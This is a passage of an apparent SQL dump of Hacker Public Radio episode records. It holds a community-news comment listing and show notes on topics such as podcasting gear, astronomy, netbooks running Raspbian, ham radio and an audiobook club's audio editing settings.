target=\"_blank\">Comment 3</a>:\nJan on 2018-10-02:\n\"Second Reading\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2640#comments\" target=\"_blank\">hpr2640</a></strong>\n(2018-09-14) \"<em>Another Rambling Drive Into Work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2640#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2018-10-03:\n\"Re Audio quality\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2640#3\" target=\"_blank\">Comment 3</a>:\nlostnbronx@gmail.com on 2018-10-14:\n\"Great Sound Quality\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2644#comments\" target=\"_blank\">hpr2644</a></strong>\n(2018-09-20) \"<em>Error on show 2642</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2644#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2018-10-01:\n\"Re: Kvalificerat hemligt\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2648#comments\" target=\"_blank\">hpr2648</a></strong>\n(2018-09-26) \"<em>Explaining the controls on my Amateur HF Radio Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2648#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2018-10-03:\n\"Re Thanks pas\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2650#comments\" target=\"_blank\">hpr2650</a></strong>\n(2018-09-28) \"<em>My Pocket Knife</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2650#2\" target=\"_blank\">Comment 2</a>:\nShane Shennan on 2018-10-01:\n\"Link about Milk Bags\"</li></ul><br/>\n</li></ul>\n<p>There are 36 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2651#comments\" target=\"_blank\">hpr2651</a></strong>\n(2018-10-01) \"<em>HPR Community News for September 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-09-30:\n\"The loop issue\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-09-30:\n\"Re: The loop issue\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2018-09-30:\n\"Clarify\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2018-09-30:\n\"Re: Clarify\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2018-09-30:\n\"Does the comment system remove backslashes?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#6\" target=\"_blank\">Comment 6</a>:\nfolky on 2018-10-01:\n\"Material for a show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#7\" target=\"_blank\">Comment 7</a>:\nKen Fallon on 2018-10-01:\n\"touch&eacute; Sir\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#8\" target=\"_blank\">Comment 8</a>:\nclacke on 2018-10-01:\n\"subshell issues\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#9\" target=\"_blank\">Comment 9</a>:\nclacke on 2018-10-01:\n\"Kvalificerat hemligt\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#10\" target=\"_blank\">Comment 10</a>:\nclacke on 2018-10-01:\n\"Re: Intro volume\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#11\" target=\"_blank\">Comment 11</a>:\nDave Morriss on 2018-10-01:\n\"She sells subshells...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#12\" target=\"_blank\">Comment 12</a>:\nclacke on 2018-10-01:\n\"Re: TTS over intro music\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2651#13\" target=\"_blank\">Comment 13</a>:\nclacke on 2018-10-01:\n\"That brings back memories\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2654#comments\" target=\"_blank\">hpr2654</a></strong>\n(2018-10-04) \"<em>Making Crepes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2654#1\" target=\"_blank\">Comment 1</a>:\nlostnbronx on 2018-10-08:\n\"Great Recipe\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2654#2\" target=\"_blank\">Comment 2</a>:\nJonas on 2018-10-08:\n\"How I make crepes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2654#3\" target=\"_blank\">Comment 3</a>:\nShane Shennan on 2018-10-09:\n\"Brown Sugar!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2654#4\" target=\"_blank\">Comment 4</a>:\nShane Shennan on 2018-10-09:\n\"Thanks for sharing your technique!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2657#comments\" target=\"_blank\">hpr2657</a></strong>\n(2018-10-09) \"<em>Why we are all going to shit in 30 years due to computers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2657#1\" target=\"_blank\">Comment 1</a>:\nBrian in Ohio on 2018-10-10:\n\"Mr Baten\'s shows\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2657#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-10-14:\n\"You keep putting out my shows before I do!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2657#3\" target=\"_blank\">Comment 3</a>:\nDenise on 2018-10-19:\n\"The podcast content\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2658#comments\" target=\"_blank\">hpr2658</a></strong>\n(2018-10-10) \"<em>Questions on podcast production</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=290\" target=\"_blank\">Al</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2658#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-10-10:\n\"This does NOT have to apply to HPR shows.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2666#comments\" target=\"_blank\">hpr2666</a></strong>\n(2018-10-22) \"<em>Slackware Post-Install</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2666#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-10-21:\n\"systemd information\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2666#2\" target=\"_blank\">Comment 2</a>:\nBrian in Ohio on 2018-10-24:\n\"wicd\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2667#comments\" target=\"_blank\">hpr2667</a></strong>\n(2018-10-23) \"<em>Create PDF bookmarks with Pdftk</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2667#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2018-10-23:\n\"gcj deprecated\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2667#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2018-10-23:\n\"debian\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2667#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2018-10-31:\n\"Thanks for the snap tip\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2668#comments\" target=\"_blank\">hpr2668</a></strong>\n(2018-10-24) \"<em>Explaining the controls on my Amateur HF Radio Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2668#1\" target=\"_blank\">Comment 1</a>:\nMichael on 2018-10-31:\n\"Great Episodes!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2669#comments\" target=\"_blank\">hpr2669</a></strong>\n(2018-10-25) \"<em>Additional ancillary Bash tips - 12</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#1\" target=\"_blank\">Comment 1</a>:\nMad Sweeney on 2018-10-26:\n\"Quoted Literals in Regex\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#2\" target=\"_blank\">Comment 2</a>:\nMad Sweeney on 2018-10-26:\n\"Re: Quoted Literals in Regex\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#3\" target=\"_blank\">Comment 3</a>:\nStuart Little on 2018-10-26:\n\"quoting portions of regex\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#4\" target=\"_blank\">Comment 4</a>:\nMad Sweeney on 2018-10-26:\n\"Re: Quoted Literals in Regex\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2018-10-27:\n\"Thanks for the combined wisdom being directed at my question\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2018-10-27:\n\"Backslashes in comments\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#7\" target=\"_blank\">Comment 7</a>:\nMad Sweeney on 2018-10-27:\n\"Not just backslashes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#8\" target=\"_blank\">Comment 8</a>:\nDave Morriss on 2018-10-27:\n\"Comments eating ampersands?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2669#9\" target=\"_blank\">Comment 9</a>:\nMad Sweeney on 2018-10-27:\n\"Re: Comments eating ampersands?\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-October/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Over the period tags and/or summaries have been added to 23 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2399,'2017-10-12','Using Super Glue to create Landmarks on Keyboards',639,'Using Super Glue to create Landmarks on Keyboards','Using Super Glue to create Landmarks on Keyboards\r\n<!-- the host requests that there be no additional show notes added to this show -->',151,0,1,'CC-BY-SA','keyboard, function key, laptop keyboard',0,0,1),
(2400,'2017-10-13','My commute into work',2208,'In this episode, Dave records an episode across his entire commute into work.','<p>In this episode, Dave records an episode across his entire commute into work.</p>\r\n<ul>\r\n<li><a href=\"https://thelovebug.org/anchor\">thelovebug\'s Anchor station</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2377\">hpr2377 :: A Rambling Drive Into Work</a> by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\r\n</ul>\r\n<h2 id=\"hacker-public-radio-episodes-by-me-so-far\">Hacker Public Radio episodes by me so far:</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1890\">hpr1890 :: A short walk with my son</a> on 2015-10-30</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2117\">hpr2117 :: What\'s in my bag for Podcrawl?</a> on 2016-09-13</li>\r\n</ul>\r\n<h2 id=\"how-am-i-recording\">How am I recording</h2>\r\n<p>I\'m recording this episode, in my car, on a <a href=\"https://www.samsung.com/in/microsite/galaxya/\">Samsung Galaxy A5</a> with a <a href=\"https://www.amazon.co.uk/Neewer-3-5mm-Hands-Computer-Microphone/dp/B005DOTSM4/\">Neewer lavalier microphone</a> (as recommended by HPR\'s own <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>) attached to my jacket, recording using the <a href=\"https://play.google.com/store/apps/details?id=com.auphonic.auphonicrecorder\">Auphonic Edit</a> Android app (also on <a href=\"https://itunes.apple.com/us/app/auphonic-recorder/id1081792712\">iOS</a>).</p>\r\n<p>Post-recording, I also ran the audio recorded using AuphonicEdit to the <a href=\"https://auphonic.com/\">Auphonic</a> website for levelling.</p>\r\n<h2 id=\"my-portable-podcasting-setup\">My portable podcasting setup</h2>\r\n<p>(previously mentioned on <a href=\"https://hackerpublicradio.org/eps.php?id=2117\">hpr2117</a>) and used to record <a href=\"https://anchor.fm/thelovebug/episodes/ce5450\">Sat On My Doorstep 1 - Alex</a>, published to <a href=\"https://thelovebug.org/anchor\">Anchor</a> on 2017-09-13)</p>\r\n<ul>\r\n<li><a href=\"https://store.google.com/product/pixel_c\">Google Pixel C</a></li>\r\n<li><a href=\"https://www.amazon.co.uk/Type-C-Adapter-Female-Cable-Black/dp/B00VWA2JNI/\">USB C to USB A OTG adapter</a> (link to example, not the actual one I have)</li>\r\n<li><a href=\"https://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/\">Samson Q2U USB/XLR microphone</a>* (equivalent to the <a href=\"https://www.audio-technica.com/cms/wired_mics/b8dd84773f83092c/\">AudioTechnica ATR2100USB</a>)</li>\r\n</ul>\r\n<h3 id=\"as-an-aside\">As an aside*</h3>\r\n<p>Both Caroline and I use that particular microphone each to record <a href=\"https://thebugcast.org/\">The Bugcast</a> each week. Both the Samson and AudioTechnica microphones have been recommended by <a href=\"https://djosephdesign.com/\">Daniel J Lewis</a> of <a href=\"https://theaudacitytopodcast.com/\">The Audacity To Podcast</a> for those podcasters who cannot afford professional level equipment.</p>\r\n<h2 id=\"the-cars-i-have-owned\">The cars I have owned</h2>\r\n<p>This list may contradict the detail provided in the episode... that\'s because I may have made a few errors in recollection when I was recording.</p>\r\n<ul>\r\n<li>Red 1979(V) Mk 1 <a href=\"https://en.wikipedia.org/wiki/Ford_Fiesta#First_generation_.281976.E2.80.931983.29\">Ford Fiesta</a> 1.1e</li>\r\n<li>Metallic Blue 1987(E) <a href=\"https://en.wikipedia.org/wiki/Austin_Metro#Austin.2FMG_Metro\">Austin Metro</a> 1.3</li>\r\n<li>Dark Blue 1993(L) <a href=\"https://en.wikipedia.org/wiki/Suzuki_Cultus#Second_generation_.281988.E2.80.932003.29\">Suzuki Swift</a> 1.4</li>\r\n<li>Burgundy 1986(D) <a href=\"https://en.wikipedia.org/wiki/Austin_Metro#Austin.2FMG_Metro\">Austin Metro</a> 1.0</li>\r\n<li>White 1994(M) <a href=\"https://en.wikipedia.org/wiki/Vauxhall_Cavalier#Mark_III_.281988.E2.80.931995.29\">Vauxhall Cavalier</a> 1.6</li>\r\n<li>Red 1988(F) <a href=\"https://en.wikipedia.org/wiki/Peugeot_205#1990_and_onwards\">Peugeot 205</a> 1.4 XS</li>\r\n<li>White 1989(G) <a href=\"https://en.wikipedia.org/wiki/Peugeot_205#1990_and_onwards\">Peugeot 205</a> 1.1 GR</li>\r\n<li>Red 1991(J) <a href=\"https://en.wikipedia.org/wiki/Vauxhall_Astra#Third_generation_.281991.E2.80.931998.29\">Vauxhall Astra 1.7D</a></li>\r\n<li>Metallic Blue 2001(Y) <a href=\"https://en.wikipedia.org/wiki/Peugeot_206#Overview\">Peugeot 206</a> 1.4</li>\r\n<li>Silver 1999(V) <a href=\"https://en.wikipedia.org/wiki/Opel_Vectra#Vectra_B_.281995.E2.80.932002.29\">Vauxhall Vectra</a> 1.6 Automatic Estate/Station Wagon <em>(became the wife\'s car)</em></li>\r\n<li>Red 1995(N) <a href=\"https://en.wikipedia.org/wiki/Nissan_Almera#First_generation_.28N15.3B_1995.E2.80.932000.29\">Nissan Almera</a> 1.4</li>\r\n<li>Red 1999(T) <a href=\"https://en.wikipedia.org/wiki/Opel_Corsa#Corsa_B_.281992.E2.80.932000.29\">Vauxhall Corsa</a> <em>(the wife\'s car)</em></li>\r\n<li>Blue/Lilac 2004(04) <a href=\"https://en.wikipedia.org/wiki/Volkswagen_Lupo\">Volkswagen Lupo</a> 1.7 SDi <em>(mine is actually the colour shown in the wiki article)</em></li>\r\n<li>Metallic Dark Grey 2012(12) <a href=\"https://en.wikipedia.org/wiki/Peugeot_308#First_generation_.28T7.2C_2008.E2.80.932013.29\">Peugeot 308</a> 1.6 <em>(the family car)</em></li>\r\n</ul>\r\n<h2 id=\"shameless-plugs\">Shameless plugs</h2>\r\n<ul>\r\n<li><a href=\"https://thebugcast.org/\">The Bugcast</a></li>\r\n<li><a href=\"https://tuxjam.otherside.network/\">TuxJam</a></li>\r\n<li><a href=\"https://ccjam.otherside.network/\">CCJam</a></li>\r\n</ul>\r\n<p>I also guested on:</p>\r\n<ul>\r\n<li><a href=\"https://ubuntupodcast.org/\">Ubuntu Podcast</a></li>\r\n</ul>\r\n<h2 id=\"drive-statistics\">Drive statistics</h2>\r\n<ul>\r\n<li>From Conisbrough to New Ollerton (<a href=\"https://goo.gl/maps/b3S7nKfHpL12\">rough location map</a>)</li>\r\n<li>roughly 28 miles</li>\r\n<li>roughly 36 minutes</li>\r\n</ul>\r\n',314,0,0,'CC-BY-SA','commute,car,cars,driving,podcasting,equipment,podcasting equipment,anchor,anchor.fm,the bugcast',0,0,1),
(2397,'2017-10-10','The Urban Astronomer',1959,'An introduction to an astronomy podcast that you might like','<h1 id=\"the-urban-astronomer\">The Urban Astronomer</h1>\r\n<p>I\'m interested in Astronomy and listen to a number of Astronomy podcasts. I have listed a few of these in the past when doing HPR shows about the podcast feeds I subscribe to (shows <a href=\"https://hackerpublicradio.org/eps.php?id=1516\">1516</a>, <a href=\"https://hackerpublicradio.org/eps.php?id=1518\">1518</a> and <a href=\"https://hackerpublicradio.org/eps.php?id=2339\">2339</a>).</p>\r\n<p>One of the recent additions to my podcast list that I have been listening to this year is called &quot;The Urban Astronomer&quot;, which has a website <a href=\"https://www.urban-astronomer.com/\" title=\"The Urban Astronomer website\">here</a> and a podcast feed <a href=\"https://www.urban-astronomer.com/feed/podcast/\" title=\"The Urban Astronomer podcast feed\">here</a>. The site and podcast are run by Allen Versfeld, who is based in South Africa.</p>\r\n<p>To quote from the website:</p>\r\n<blockquote>\r\n<p><em>Allen is an amateur astronomer, an IT professional, a podcaster, a father of five beautiful kids and a barely competent chess player. He is also the director of the Astrophotography Section of the Astronomical Society of South Africa, where he coordinates and promotes the activities of people who are far better photographers than him.</em></p>\r\n</blockquote>\r\n<p>I have been enjoying Allen\'s episodes a lot. There are some great interviews with some very interesting people in the world of Astronomy. Allen has a relaxed interviewing style which I find appealing.</p>\r\n<p>I wrote to him, commenting on one of his episodes, and I mentioned Hacker Public Radio in my email. He has subscribed to HPR and has been kind enough to mention it on a recent podcast. I\'m offering you a chance to listen to one of his episodes here.</p>\r\n<p>The episode is <a href=\"https://www.urban-astronomer.com/podcast/podcast-12-interview-with-jen-millard/\" title=\"Podcast #12: Interview with Jen Millard\">number 12</a> of &quot;<em>The Urban Astronomer</em>&quot;, from June 16, 2017. It is an interview with Jen Millard, a first year Astronomy PhD student at Cardiff University in the UK. Jen is also a host on the &quot;<em>Awesome Astronomy</em>&quot; podcast, as mentioned in the episode.</p>\r\n<p>I hope you enjoy listening to this example episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>The Urban Astronomer\r\n<ul>\r\n<li><a href=\"https://www.urban-astronomer.com/\">Website</a></li>\r\n<li><a href=\"https://www.urban-astronomer.com/subscribe-to-podcast/\">Subscription page</a></li>\r\n<li><a href=\"https://www.urban-astronomer.com/feed/podcast/\">RSS feed</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,0,'CC-BY-SA','astronomy,podcast',0,0,1),
(2398,'2017-10-11','AutoHotkey Master of Automation ?',1042,'I\'ll go over my AutoHotkey script I used to give free money in GTA (dropping)','<ul>\r\n<li><p><a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/AutoHotkey_AHK_GTA_GTA5_MONEY_FREE_DROP_SCRIPT.mp4\" class=\"uri\">https://rmccurdy.com/scripts/videos/rmccurdy_com/AutoHotkey_AHK_GTA_GTA5_MONEY_FREE_DROP_SCRIPT.mp4</a></p></li>\r\n<li><p><img src=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/AutoHotkey_AHK_GTA_GTA5_MONEY_FREE_DROP_SCRIPT.png\" alt=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/AutoHotkey_AHK_GTA_GTA5_MONEY_FREE_DROP_SCRIPT.png\" /></p></li>\r\n<li><p><a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/AutoHotkey_AHK_GTA_GTA5_MONEY_FREE_DROP_SCRIPT.txt\" class=\"uri\">https://rmccurdy.com/scripts/videos/rmccurdy_com/AutoHotkey_AHK_GTA_GTA5_MONEY_FREE_DROP_SCRIPT.txt</a></p></li>\r\n</ul>',36,0,0,'CC-BY-SA','GTA5,hacking,macros,autohotkey',0,0,1),
(2401,'2017-10-16','Music Theory Hara-Kiri',970,'A show on music theory, and figuring out what viewers on hear actually want with a music theory show','<p>Yeah just want feedback on what to do with a music theory show, since I see it was on the requested lists and no one was really doing it that I\'ve seen.</p>',354,0,1,'CC-BY-SA','Music, Music Theory',0,0,1),
(2420,'2017-11-10','Netbooks - Keeping an old friend alive',979,'Why netbooks are not necessarily obsolete and how to keep them performing well','<p>Beeza uses an Acer Aspire One netbook as a media player (principally audio).</p>\r\n<p>The audio quality sent from the sound card out through the headphone socket really is excellent, so that when fed into a hi-fi amplifier the final reproduction is every bit as good as audio from a CD player - possibly better.</p>\r\n<p>The netbook is over 5 years old. When it was first bought most Linux distros ran very well on it. Since that time, however, the optimal hardware spec for most distros has increased quite considerably, leaving a humble netbook relatively underpowered, having typically 1 Gb RAM and a sedate CPU.</p>\r\n<p>All is not lost, fortunately. Raspbian X86, which is very closely related to the ARM version of Raspbian as used on the Pi, has a very light footprint and delivers performance on a netbook very much like what you would have experienced when they were brand new.</p>\r\n<p>Raspbian X86 is not perfect, though. It works brilliantly straight out of the box, but its security model needs a bit of simple reconfiguration to get the best from it. There are also, tweaks and cheats that can improve the Pixel user interface which, in its default setup, may not be to everybody\'s liking.</p>\r\n<p>In this episode Beeza explains steps he has taken to get the best from his netbook and, in the politest way possible, tells you what you can do with yours.</p>\r\n<h3 id=\"post-recording-note\">POST RECORDING NOTE</h3>\r\n<p>&quot;Since recording the show I have installed Pulseaudio on top of Raspbian X86. It\'s a very simple install using Synaptic (or \'<code>apt-get install pulseaudio</code>\'), after which you can run it as a daemon process with \'<code>pulseaudio -D</code>\'.</p>\r\n<p>The advantage of Pulseaudio is that it gives you greater control over the audio channels and devices than is possible with just the default ALSA sub-system. This will be handy if you ever record from streams or USB microphones.</p>\r\n<p>If you install Pulseaudio, I strongly recommend installing pavucontrol as well - a mixer designed specifically to work with Pulseaudio&quot;.</p>\r\n',246,0,0,'CC-BY-SA','Netbooks, Raspbian, Distros',0,0,1),
(2402,'2017-10-17','Petition: the card game for fanatics',2520,'Klaatu talks about a card game he designed','<p>Klaatu talks about a card game that he designed and is currently Kickstarting. Hear all about the exciting game play in this episode!</p>\r\n<p>It\'s a neato fantasy battle game, and is Creative Commons and open source. He hopes to finance, specifically, the artwork, which is being done by artist Nikolai Mamashev on Linux with Krita.</p>\r\n<p>If you want to contribute, go to <a href=\"https://www.kickstarter.com/projects/s8hzk27aqx/petition-a-card-game-for-fanatics\" class=\"uri\">https://www.kickstarter.com/projects/s8hzk27aqx/petition-a-card-game-for-fanatics</a></p>',78,95,0,'CC-BY-SA','game,gaming,tabletop,rpg',0,0,1),
(2403,'2017-10-18','Amateur Radio Round Table #3',3550,'Two guys try to answer Ken\'s questions about ham radio.','<p>This is the 3rd in the Amateur Radio Round Table series.</p>\r\n<p>Participants in this episode are:</p>\r\n<ul>\r\n<li>Steve, KD0IJP</li>\r\n<li>Michael, DL4MGM</li>\r\n<li>Ken, N0CALL</li>\r\n<li>Russ, K5TUX</li>\r\n</ul>\r\n<p>No agenda items had been set before recording, so we spent our time answering Ken\'s questions and allowing the discussion to proceed naturally. Some of the topics of conversation included:</p>\r\n<ul>\r\n<li>What the licensing exams are like in the US as well as Germany.</li>\r\n<li>Resonance.</li>\r\n<li>Antenna design.</li>\r\n<li>RF Modulation</li>\r\n</ul>\r\n<p>The next Amateur Radio Round Table recording is tentatively set for November 15, 2017 at 18:00 UTC. Watch the HPR email list for any further updates on this and consider joining in the discussion if you are a &quot;ham&quot; or if you aren\'t but have any interest in the subject.</p>\r\n',109,43,1,'CC-BY-SA','ham radio, amateur radio, radio, antenna, rf, modulation',0,0,1),
(2412,'2017-10-31','The Call of Cthulhu',5011,'In this episode, the HPR_AudioBookClub discusses The Call of Cthulhu','<h3>SUMMARY</h3>\r\n<p>In this episode, the HPR_AudioBookClub discusses The Call of Cthulhu.</p>\r\n<h3>Non-Spoiler Thoughts</h3>\r\n<p>Pop Culture References</p>\r\n<ul>\r\n <li><a href=\"https://www.youtube.com/watch?v=FOHJUrcVdJk\">Lil\' Cthulhu</a></li>\r\n <li>Metallica\'s \"The Thing That Should Not Be\" (Master of Puppets, 1986)</li>\r\n <li>Call of Cthulhu (RPG)</li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Mysterion_Rises\">South Park, 3 ep arc</a></li>\r\n <li><a href=\"https://boardgamegeek.com/boardgame/15987/arkham-horror\">Arkham Horror</a></li>\r\n</ul>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n <li>Thaj: Plain old water..... boring as usual</li>\r\n <li>x1101: Rising Tide Calcutta Cutter IPA. Pine and citrus flavors gently accompany huge doses of hops </li>\r\n <li>pokey: Wallgreens generic hot flu remedy (comparable to Theraflu). Its gritty and tastes bad, but it helps if you\'re sick with a cold or flu.</li>\r\n <li>semioticrobotic: Harney &amp; Sons Pumpkin spice herbal tea. semioticrobotic also recommends letting one of these tea bags steep in hot apple cider.</li>\r\n <li>pegwole: Black Coffee</li>\r\n</ul>\r\n<h3>THINGS WE TALKED ABOUT THIS TIME</h3>\r\n<p>Coconut Oil, Red Dwarf, Batman, Dr. Who</p>\r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong>Cybrosis</strong> by P. C. Haring \r\n <br/><a href=\"https://scribl.com/books/PCF94/cybrosis\">Cybrosis by P.C. Haring</a></p>\r\n<h3>OUR AUDIO</h3>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. It\'s been especially challenging getting all of our voices relatively level, because everyone has  their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz (Tracks > Resample > 44100). Resampling can take a long time if you don\'t have a powerful computer, and sometimes even if you do. If you record late at  night, like we do, you may want to start the task before you go to  bed, and save it first thing in the morning, so that the file is ready to go the next time you are.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</P>\r\n <ul>\r\n  <li>Threshold: -30db</li>\r\n  <li>Noise Floor: -50db</li>\r\n  